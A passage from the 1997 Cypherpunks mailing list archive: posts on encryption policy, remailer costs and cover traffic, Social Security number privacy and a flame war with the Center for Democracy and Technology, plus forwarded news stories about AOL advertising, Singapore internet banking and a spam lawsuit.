Content-Type: text/plain



yes dec -- but is Jane using PGP???

Larry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "stuey" <stuey@geocities.com>
Date: Sat, 27 Sep 1997 08:49:09 +0800
To: "John Smith" <cypherpunks@cyberpass.net>
Subject: Re: Technology center
Message-ID: <199709270035.RAA01323@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



 >What I think they'll do is work on virus software.  They can write
>something which will hack the crypto on your PC and make it weak.
>If they want to wiretap some drug dealer, they get him to download
>one of their programs somehow.  Maybe they've got a Java bug which
>lets them hack files when he goes to a certain web page.  Or maybe
>they get him to download some free demo of a game or interaction
>service (hotchicks.com).  Whatever, the program actually looks for
>PGP and other crypto software and hacks it.  Now the FBI can read
>his stuff.

What we have here is a technology race.  Assuming it is legal for a
hypothetical government organization to pull a stunt like that, we merely
build our own encryption software that is compatible with the current stuff,
or failing that have an unreasonable amount of different publically
available versions out there.
Tell me what virus can alter 50 different programs in a different fashion
and still be small enough to go unnoticed.
If you were to program your own private version of PGP and have it produce
output exactly the same as any version of PGP out there you wanted to, then
there's a good chance that it would be overlooked by viri, logic bombs,
trojans... and even if it wasn't there's an even better chance that a
specific virus would need to be written to hack your private version. and
what are the odds of actually infecting your particular desktop with the
naughty program that's gonna do the dirty work?
I admit that would take cnsiderable effort and the only reason for doing so
is to protect against thief software designed to steal your keys, but it can
be done. and probably would be done by many as a last resort / defense.

-Stu


"Work toward your vision of tomorrow, or you will surely live in someone
else's" -- Art Sackett









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 27 Sep 1997 11:50:07 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: MISTY algorithm
In-Reply-To: <19970927030020.9849.qmail@hotmail.com>
Message-ID: <v03102804b0522f3ef785@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:00 PM -0700 9/26/97, Nobuki Nakatuji wrote:
>Does anybody want MISTY algorithm ?
>If you want it,Please send e-mail to me.
>

I thought we got rid of your sorry ass two weeks ago!

Go back to trying to arrange "male penpals," which Dejanews shows to be
your activity on the Net prior to this recent playing of Misty.

You go, chop chop.


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CDR Filter Account <cpunks@ssz.com>
Date: Sat, 27 Sep 1997 09:35:55 +0800
Subject: No Subject
Message-ID: <199709270142.UAA12409@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CDR Filter Account <cpunks@ssz.com>
Date: Sat, 27 Sep 1997 09:41:35 +0800
Subject: No Subject
Message-ID: <199709270142.UAA12410@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CDR Filter Account <cpunks@ssz.com>
Date: Sat, 27 Sep 1997 11:55:19 +0800
Subject: No Subject
Message-ID: <199709270142.UAA12412@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 27 Sep 1997 13:26:49 +0800
To: Adam Shostack <declan@well.com (Declan McCullagh)
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
In-Reply-To: <Pine.GSO.3.95.970925115935.1676I-100000@well.com>
Message-ID: <3.0.3.32.19970926204814.006f73b4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Go get yourself a copy of "Blows Against The Empire", a ~1970 album
by Paul Kantner, Jefferson Airplane, and friends;
there's a nice song about a couple who don't want their new baby to grow up
and get drafted.   "Maybe we just won't tell them about him...."

At 09:31 AM 09/26/1997 -0400, Adam Shostack wrote:
>This may go against your religious wishes, but listing your children
>with SSNs of public figures may allow you to bypass the IRS computer
>that checks if the child has a valid SSN listed, without getting SSNs
>that 'belong to' your children.

Nope.  Putting false information in tax returns is far more illegal
than refusing to put desired information in them.  
If the government insists that they'll extort more money from you
if you fail to register your children as good little possessions of the state,
take it or leave it or talk to the ACLU or the National Taxpayers' Union.
You could refuse to pay, but I agree that refusing to pay extortion to
well-armed people who outnumber you is sometimes more trouble than paying,
and you may not want the hassle.  Another approach is checking out the various
tax havens and seeing if you can get yourself hired by some Anguillan
corporation
that covers your business expenses; some people I knew who were in college on
company-sponsored scholarships decided to be on extended business trips,
so the apartment and food and 7 cents per mile driving costs in the college
town
were unreimbursed business expenses -- there's a lot of interesting stuff
you can
pay accountants to help you with, and maybe you'll break even.
You could even become a Puerto Rican resident, though that's easier if you
speak 
Spanish, and maybe you're also on a long business trip away from your home
in PR.


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 27 Sep 1997 08:57:25 +0800
To: cypherpunks@cyberpass.net
Subject: Now we know why they ban crypto...
Message-ID: <v0311070cb05208b72317@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Lotus-FromDomain: BIONOMICS@INTERLIANT @ OUTBOUND
From: "VitaminB"<VitaminB@bionomics.org>
To: "DAILY DOSE"<DAILY_DOSE@maxager.com>
Date: Fri, 26 Sep 1997 16:17:40 -0700
Subject: <<Vitamin B>>(September 26, 1997) Le Brain Drain
Mime-Version: 1.0



Vitamin B:
Your Daily Dose of Bionomics

September 26, 1997

Le Brain Drain

In the age just past, a nation's natural resources were
the key to its success; today it is its intellectual capital.
And with the world linked like never before, nations
must nurture intellectual capital lest it walk away.
But don't believe us.  Ask our friend Olivier.

When Olivier Cardic figured out that if his electronics
company were based in England his 1995 net profit
would have been $300,000, compared to just $80,000
in France, he decided to do what 1,000 French
entrepreneurs have done already.  Move.  In the era
of globalization, voting with your feet becomes a pretty
easy stroll, especially when the country you're in is
France.  Consider this:  British employers pay 10.2%
of salaries in payroll taxes, compared with an insane
46% in France.  According to Jean-Pierre Letouzet,
president of RGA Systemes, a systems engineering
company, "We live in a Marxist system.  France has
never been capitalist.  We're not prepared for
globalization, and we're sinking."

Last year, Cardic asked French authorities on national
radio to, "Explain to me why it is better to be
unemployed in France than a worker in England?"
The French authorities didn't have an answer for him.
Neither do we.

Source:  _Business Week_, October 6, 1997

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 09:53:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer Attack (fwd)
Message-ID: <199709270153.UAA13442@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 25 Sep 1997 16:31:48 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Remailer Attack

> Generally, a bunch of things would be nice to have:
> 

[several original examples deleted]

 -  some sort of legal protection and recognition for the remailer
    operators

 -  some mechanism for them to operate as a business entity with a
    clear profit.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 10:39:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer latency (fwd)
Message-ID: <199709270211.VAA13713@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 25 Sep 1997 18:42:45 -0400
> From: Joey Grasty <jgrasty@gate.net>
> Subject: Re: Remailer latency

> At 11:58 PM 9/25/97 +0200, Anonymous wrote:
> >If you operate a remailer, please tell us what you need to make it
> >really work well.  Perhaps the rest of us can help make it happen.
> 
> Sure.  Send me $125 a month for a dedicated line, and I'll insure
> that you get low latencies on winsock.

Malarky.

Some basic issues regarding the physical infrastructure (YMMV):


 -  since the lines are answered by modem and not voice AND they are
    not answered as the business you can use residential lines which
    means a much lower cost of operation.


 -  assuming 1 in-dial and 1 out-dial (needed for maximum throughput
    and minimum latency) you only need long-distance on the dial-out.


 -  the pricing on the move of my 4 POTS broke down thus:

     Line #            Install $         Monthly $     Function

       1                 38.35            16.63        dial-in, no ld
       2                 30.95            16.63        dial-in, no ld
       3                 16.35            16.63        dial-in, no ld
       4                 16.35            30.08        voice w/ ld,
                                                       call notes,
                                                       caller id


 -  the pricing on my other aspects are:

     ISDN                0.00 w/ 2 yr.    80.00       main link to
                         contract                     provider

     Electrcity                           12.00       per machine

     Modem               200.00                       per line

     ISP                 0.00 w/ 2 yr.    400.00      backup DNS,
                         contract                     4-day mail cache,
                                                      admin account,
                                                      usenet server access,
                                                      full C-class,
                                                      backup dial-in,
                                                      their ISDN costs


 -  you should also arrange legal and financial support


Maybe that will give you a Ctl. Texas base-line for estimating what it would
take to do the job. I should have an estimate for T1 pricing and setups in a
couple of weeks, say something and I'll post the current status.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 27 Sep 1997 09:56:37 +0800
To: Jonah Seiger <cypherpunks@toad.com
Subject: Re: In response to Declan's questions about crypto.com
In-Reply-To: <v03102816b051a8b024d2@[207.226.3.4]>
Message-ID: <v03110709b051fc403566@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:09 pm -0400 on 9/26/97, Jonah Seiger wrote:

> We believe that passage of SAFE
> with the White-Markey amendment, despite the problems with the criminal
> provisions, is on balance, a step forward in the fight for encryption
> policy reform.

And *I* "believe" that anyone who would spout such dreck, evidently out of
both sides of his mouth, is an ironclad fuckwit, no matter his talent for
such copralalic oral gymnastics.

I also "believe" that the combination of words like "Center",  and
"Democracy", and "Technology" in any *sentence*, much less in an
organization's name, is a three-dimensional oxymoron, especially in this
day and age, and particularly on issues like cryptography and digital
commerce.

You folks at CDT have proven, time and time again, to be comically, if not
criminally, negligent in the defense of freedom, and, worse, :-),
economics, which, fortunately, can take care of itself without any "help"
from "Centers" for "Democracy" and Technology like yours, thank you very
much.


Paradoxically, fools like you *are* helpful, but not in the grandiose way
you imagine. You are the crypto equivalents of Lenin's "useful idiots".
That is, you'll keep the dance band on the Titanic playing "Nearer My God
to Thee" in the bar while the rest of us with any sense are making for the
lifeboats. There's more room that way, so it's nice of you to oblige, and
all...


Better yet, you guys are like courtiers in Madrid, knifing each other in
back alleys and sleeping with each other's wives while the rest of us are
out making something useful out of the new world's wilderness.


It seems to me the less you know about what we can do with cryptography,
particularly financial cryptography, the better off all of us probably are.
You keep winning your increasingly less relevant turf wars, and we'll keep
making the world safer from people like you. Sounds perfectly fair to me.

The way I understand it, it took Madrid a good 300 years before it realized
it never had control over the western hemisphere to begin with. Same with
London, now that I think about it, but it only took us in North America 200
years or so to get rid of statist empire-builders like you. Must be the
colder climate, or something.


So, I guess the rest of us, those who want to make money with cryptography,
had better get on with it, and get used to your antics as part of the
background noise. If we convert 200 years into internet dog-years, we have
another 30 years of your incessant nattering to live with. Fortunately,
it'll be annoying, but not fatal.


The old Californios had an expression. It went something like: "God is in
Heaven. The King is in Spain. The Governor is in Mexico City. And I,
mercifully, am right here, as far away as possible from all three."

Via Con Dios, Bunky. Stay out of those back alleys, and always keep your
sword nearby when fucking your neighbor's (or your supposed
"constituent's") wife.


Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 27 Sep 1997 13:27:12 +0800
To: sirdavid@ktc.com
Subject: Re: Plea for help from IRS; Liberty?
In-Reply-To: <m0xEOca-000045C@r32h116.res.gatech.edu>
Message-ID: <3.0.3.32.19970926220425.00701df0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:51 PM 09/25/1997 -0400, Decius 6i5 wrote:
>>   The Clintons are also working to push us into the UN Rights of the Child
>>   Treaty, which shifts many parental rights and responsibilities to the
>>   government. The Clintons want to bypass parents and directly access
>>   children. How do you think they plan to monitor and enforce compliance
>>   with this horrible treaty? The SSN, in my opinion.

Somebody out there got this confused idea that Clinton's a liberal and
started spreading it around; I've met liberals and he ain't one.
Remember the Clinton plan for immunizing children?  The alpha version
had the government take over all the vaccines, register all the kids, and 
vaccinate them.  The beta version had the government fund lots of money to
buy vaccines, register all the kids, and vaccinate poor kids.  A much later 
beta version had dropped most of the other features except registering all
the kids.

Now there's a new database for catching deadbeat parents that all employers
have to report all newly hired employees to in case they _might_ be
deadbeat parents,
including name, address, SSN, and contact information.  That means if I get
hired
as a W2 employee again, even though I've never had a kid and have no plans to,
I'll be in there.  Unless I refuse, and may employer has to pay the $25 fine.
(It's $500 if they conspire with the employee to not file...)
The newspaper reports sound like it'll be pretty easy to get information on
the
people in the database, and that about 60 million people get hired at jobs
each year.
Doesn't say anything about privacy act concerns...

Back to the UN Convention on Rights Of The Child...
A few years back, some of the UN employees in my Quaker meeting were
organizing to
have us help lobby our Congresscritters to get us to sign it, and our fine
SenatorCritter Bill Bradley was a big proponent.  We studied it quite a bit,
though I've forgotten much detail.  It has about 60 parts.  There are some
important 
things in it like governments agreeing not to draft kids younger than 16, a
nd not to execute kids, and other basic civil rights things they really
cared about.
We were all frustrated by some of the language - stuff like 
	"children have the right to freedom of religion,
	except when it interferes with the needs of social order" 
	"children have the right to freedom of speech, except when it ...."
It's also got some parts that are actively evil, in addition to parts that are
mostly pandering to governments that still want to control kids.
	- the right to registration for social insurance
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 27 Sep 1997 04:53:49 +0800
To: cypherpunks@cyberpass.net
Subject: Plea from a parent who wants to keep their kid free of SSNs
Message-ID: <199709262030.WAA26876@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

John Bishop wrote:
>Well, seeing how Mr. Treibs is not a Nazi, satan worshipper, or pagan
>fundamentalist, I doubt that the ACLU will want much to do with him.

This slur is unwarranted.  The ACLU has a long tradition of defending
religious rights, even those of Christians.

My personal favorite is the case of the Jehovah's Witnesses in the
1950s.  The Witnesses believe that they cannot honestly pledge
allegiance to the flag.  They believe that they owe allegiance to God.
Were the government to act in a way that was other than God's
intention, they would be unable to cooperate.

This had to go all the way to the Supreme Court and it was the ACLU
that did it when nobody else would.

Be my guest to criticize the ACLU, but you'd do better to pick one of
their weak points.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNCtLP5aWtjSmRH/5AQG45Qf8Doesmpghrdt572xVCXtTCy1K/TY0h75I
OwJV4hG/NHo/QnUyD2m3qoH0GzAPntCEyDcg8J5BLBJlkYPQXS8yDZu6irHtstIj
3gLSbL8sXQQ+0SfFPt4iRQPFd8x0erjZE7MH8wxvZGwUQJfHnUtrG8PaOdFWyzpg
tg9/lBet+GAM18DtQhqYPN1/eJ+bkoW6MBq83ncSVJ2CD90mGQBK7/Ifunn8jLUG
fZ1CMdanJjjCOhLOEWIGqx6kJXZQhmol3DMrCDYTYXemP3GNoaPeHScZJB5GsiPF
WFzqzgyakncp+P1EGWqr+2+TG+4LV1cXg9kJOfD3q9z1uz+/n4CRvA==
=9B3r
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 27 Sep 1997 10:55:54 +0800
To: cypherpunks@toad.com
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03007804b051bd04a43a@[168.161.105.141]>
Message-ID: <v03007801b0521f6eee5a@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri, please forward your original message complaining about being
misquoted in my Netly article. I don't remember such a thing. Of course you
were whining in general back then, but that's hardly surprising.

I've never styled myself as a "freedom fighter." I do support property
rights, and the right to do what you want with your own computer is
certainly one of those.

Feel free to read f-c. The archives are publicly available on the web, and
have been for years.

Unless Vulis says something interesting, this will be my last response to
him. Sometimes it's not worth it to dignify a post with a reply.

-Declan


At 19:07 -0400 9/26/97, Dr.Dimitri Vulis KOTM wrote:
>Declan McCullagh <declan@pathfinder.com> writes:
>
>> At 11:17 -0400 9/26/97, Dr.Dimitri Vulis KOTM wrote:
>> >Declan forged quotes from me in his nutly news piece about Gilmore pulling
>> >my plug.
>>
>> Oh, really? First time I've heard this line from Vulis.
>
>This is a lie.  I pointed out the forgery right after Declan posted his
>netly news piece on this mailing list.  You may recall that Declan was
>one of the few people openly supportive of Gilmore's censorship - both
>in his mailing list traffic and editorializing in his netly news piece.
>
>The only reason why I mentioned Declan's forgery again is because I saw
>Declan's lack of accuracy and disregard for the truth being discussed
>again, by CDT.  I don't know why he worked up his panties in such a knot.
>
>Declan's been trying to picture himself as a "freedom fighter" of sorts
>on this forum. Well, the truth is that he supported Gilmore's censorship
>and more recently didn't allow me to read his mailing list, aptly
>named "fight-censorship".



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 11:38:26 +0800
To: cypherpunks@ssz.com
Subject: pna.show_story?p_art_id=347867&p_section_name=Sci-Tech
Message-ID: <199709270339.WAA14254@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN Custom News logo
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   [INLINE] September 27, 1997 3:22 am GMT
   [INLINE]
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                    AOL MAY INTRODUCE ADS ON PRIVATE E-MAIL
                                       
   Reuters
   26-SEP-97
   
   
   HAMBURG, Germany, Sept 26 (Reuter) - The German unit of the world's
   largest online service, America Online, said on Friday it planned to
   boost advertising revenues and that its parent company may begin
   including ads on private electronic mail.
   
   ``We are optimistic that we will make a leap forward with our
   advertising,'' said AOL Germany spokesman Ingo Reese in a telephone
   interview with Reuters.
   
   ``We waited until we reached the critical mass of 400,000 users,''
   Reese said. ``Now we are opening ourselves up to the advertising
   business.''
   
   He said the company expected robust growth from the new ad strategy
   and added AOL had considered several possibilities for increasing
   revenues including placing advertisements in the form of graphics on
   e-mail between users.
   
   ``That is one of the most attractive venues for the advertising
   industry,'' Reese said, adding that 40 percent of AOL customers in the
   U.S. use it because of its e-mail capability.
   
   Reese said AOL had received positive feedback from media that carry
   ads and ad agencies on a presentation tour through several German
   cities with its U.S. marketing manager Myer Berlow, which ended on
   Thursday.
   
   He said the U.S. parent company receives 16 percent of its $2 billion
   in annual turnover from ads.
   
   AOL does not have any plans for major print or television campaigns
   for the online service, Reese said.
   
   ``We want to build up our own advertising business first,'' he said.
   
   AOL in Germany is a joint venture of American Online and the media
   company Bertelsmann . It recently took over its rival CompuServe,
   which it says will make it one of the largest Internet service
   companies in the region.
   
   Reese said the company had not yet decided how the takeover would
   affect its marketing.
   
   
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 13:14:19 +0800
To: cypherpunks@ssz.com
Subject: pna.show_story?p_art_id=347667&p_section_name=Sci-Tech
Message-ID: <199709270340.WAA14313@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN Custom News logo
   [LINK]
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   Help
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   Switch User
   
   [ISMAP]
   
   InfoSeek 
   
   [INLINE] September 27, 1997 3:21 am GMT
   [INLINE]
   Sci-Tech Title [INLINE] Ad Space ________________________    ___Word
   ___Theme
   ______________ Options [INLINE]
   
   
   
   The story below was selected from CNN Custom News - a new personalized
   service that delivers only the news that's important to YOU.
   
   Sign up now to receive your personal news stories, weather, sports
   scores, and stock quotes from over 100 different sources - all for
   FREE. If you're already a user, please login. Custom News 
   
                          MOVING MONEY IN CYBERSPACE
                                       
   NewsBytes
   26-SEP-97
   
   
   SINGAPORE, 1997 SEP 26 (Newsbytes) -- By Kenneth Kway. When it comes
   to conducting monetary transactions on the Internet, the world can
   only move as fast as its financial institutions. Banks in particular
   have an important role to play in the acceptance of the Internet as a
   legitimate medium in which secure business transactions can be
   performed.
   
   But even banks in well-connected Singapore have been cautious in
   embracing the Internet for their business while being clearly
   interested in tapping in on an increasing number of Internet users in
   Singapore and the region. The Development Bank of Singapore (DBS) is
   one of the first to make Internet banking a reality.
   
   DBS hopes to revolutionize Singapore's local banking industry by
   giving customers the convenience of banking through the Internet at
   any time they choose and from anywhere they happen to be. "We expect
   other banks will soon be unveiling similar programs but we are the one
   of the first to bring this service to our customers," said Lau Chan
   Sin, DBS deputy president.
   
   "We want this project to contribute to the creation of an IT culture
   where customers can experience the ease and convenience of banking on
   the Web," said Lau.
   
   The trial involving a select group of DBS customers and staff will
   last until October, when the system will go live. They will have
   online access to detailed information regarding their results. Among
   other things, they will be able to obtain real time information about
   their accounts, track cheque status, transfer funds and effect payment
   of bills.
   
   "For now, it is unlikely that Internet banking will move into areas
   that are not already covered by phone banking," says Datapro analyst
   Lim Soo Ching. "As it is, banks are trying to work out a business
   proposition for phone banking. Online banking would face the same
   concerns."
   
   The bank's home page, users' first point of access, will deliver
   banking news to the customer. The bank has gone one step further and
   allowed users to customize the kind of news they want to receive. Each
   time they check the area on the DBS home page labelled "Your Personal
   News" they will be presented with the personalized bulletin that is
   relevant to their needs and banking habits.
   
   The bank has put in place a slew of industry standard security
   measures like firewalls and authentication services. These measures
   are supplemented by a proprietary security solution. The emphasis is
   on confidentiality of the transaction as much as protecting against
   unauthorized access.
   
   "Looking at the technology the bank has out in place, security is not
   a problem," says Lim. "Banking may be actually safer than phone
   banking, but the user perception is just the opposite." The bank
   stresses the importance of user cooperation to maintain a high level
   of security. "The customer has to work hand in hand with the security
   systems that the bank has put in place," said Mrs Elsie Foh, executive
   vice president of retail banking at DBS. "For instance they should
   remember to log off from the system once they have completed their
   banking session.
   
   The bank was not at liberty to reveal the equipment and software used
   in the project but it was disclosed that the entire setup cost S$2
   million. Aside from an initial sign-up fee, the bank intends to charge
   users a monthly fee for the program after the initial 6-month
   promotion period.
   
   DBS will add to the initial services offered through the Bank's
   Internet Banking service. "We met with great success bringing our
   customers the convenience of share application and COE (Certificate of
   Entitlement) bids through ATMs," said Foh. "Similarly, we intend to
   broaden the scope of our Internet services to include more diverse
   types of commercial applications."
   
   Investment related transactions, insurance purchase and third party
   funds transfer are just some of the areas being explored for future
   implementation. In this way, the banks hope to build greater value on
   the new service and attract a high user base. DBS expects 30 000
   customers in the first year of the system's operation and projects
   that the number will climb to 150000 in 3 years.
   
   "Culture will also make a difference," says Lim. "Asia tends to take
   longer than the West in the acceptance of new technology." He cites
   automated teller machines (ATMs) as one such example. "It will be some
   time before online banking becomes the norm."
   
   DBS is looking into providing all its users with personal financial
   manager software such as Intuit or Quicken. This would allow customers
   to better coordinate their personal finances with the bank. Such a
   package will most likely be customized to work with the bank's system.
   "The significance of this technology is that any computer in the world
   that can access the Internet is instantly a transaction terminal that
   can be used to do banking." said Lim.
   
   
   
   (Reported by Newsbytes News Network http://www.newsbytes.com)
   
   
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 13:16:02 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199709270342.WAA14475@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
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                         'SPAM' SLAMMING GOES TO COURT
                                       
      Internet spam September 26, 1997
     Web posted at: 10:59 p.m. EDT (0259 GMT)
     
     DEARBORN, Michigan (CNN) -- One of the world's largest Internet
     service providers is squaring off against one of its largest
     purveyors of junk e-mail, known unaffectionately by netizens as
     "spam."
     
     Apex Global Internet Services, or AGIS, the third largest Internet
     service provider in the world, has dropped so-called "spammers" from
     its service, including the biggest spammer of them all, Cyber
     Promotions, owned by Sanford Wallace.
     
     Now, Cyber Promotions and Wallace are fighting back, having filed a
     lawsuit against AGIS alleging breach of contract.
     
     "I'm very proud of what I do, and I don't really think that spamming
     is bad or good," said Wallace. "I think it's just a way of doing
     business."
     
     Spam is the electronic equivalent of junk mail, unsolicited messages
     hawking all sorts of products and services. http://www.agis.net/ 
     
     AGIS officials say they were forced to take action because they were
     caught in the middle of the ongoing Internet tug-of-war between
     spammers and angry recipients who had launched high-tech
     counterattacks against spam.
     
     "We asked the anti-spammers to give us a chance, and we asked the
     spammers to stop sending unsolicited e-mail to people who said they
     didn't want it," said Phillip Lawlor, chief executive officer of
     AGIS. "The problem was that really didn't make anybody happy."
     
     "Both sides then resorted to unethical and illegal practices in
     order to take down the other side's networks."
     
     There is some precedent for AGIS's actions against junk e-mail.
     Earlier this year, America Online successfully sued to stop Cyber
     Promotions from sending unsolicited e-mail to its subscribers.
     
     However, AOL is a private network, not an Internet service provider.
     The suit between Wallace and AGIS, then, could help determine how
     far such providers can go in trying to can spam from the entire
     Internet.
     
     A federal judge is expected to rule on the suit against AGIS on
     Monday.
     
     CNN's Ed Garsten contributed to this report. 
     
    
   rule
   
  Related story:
  
     * Agis dethrones 'Spam King' - September 24, 1997
       
  Related sites:
  
     Note: Pages will open in a new browser window
     * AGIS
     * Compuserve Inc. v. cyber Promotions Inc. 
     * America Online Inc. v. Cyber Promotions Inc. 
       
     
     
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 11:48:18 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer latencies (fwd)
Message-ID: <199709270349.WAA14570@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 26 Sep 1997 17:32:14 -0600
> From: A Player To Be Named Later <aptbnl@dev.null>
> Subject: Re: Remailer latencies

> And, since you asked, would it not be in the interests of remailer
> operators to have a script which would generate random text, encrypt
> it to various remailers and send it out as 'cover traffic'?
> It would seem to me that this would be particularly valuable for the
> remailers that receive the least amount of traffic.

This aspect of traffic cover is more complex than it at first seems. Take
for example the second simplest model that I am aware of. For each email
that comes in n bogus emails go out with one remailed copy. So for each
email we receive we end up processing n+2 emails. Since to be useful n must
be reasonably larger than 2 to be effective we are left with a quandry. As
we process more traffic (ie become successful) we find our bandwidth need
growing at a linear rate of n, unfortunately the skills and resources to
support this increase also get larger as we become more successful.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Sat, 27 Sep 1997 07:06:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Remailer latencies
Message-ID: <Pine.LNX.3.96.970926225502.9945A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
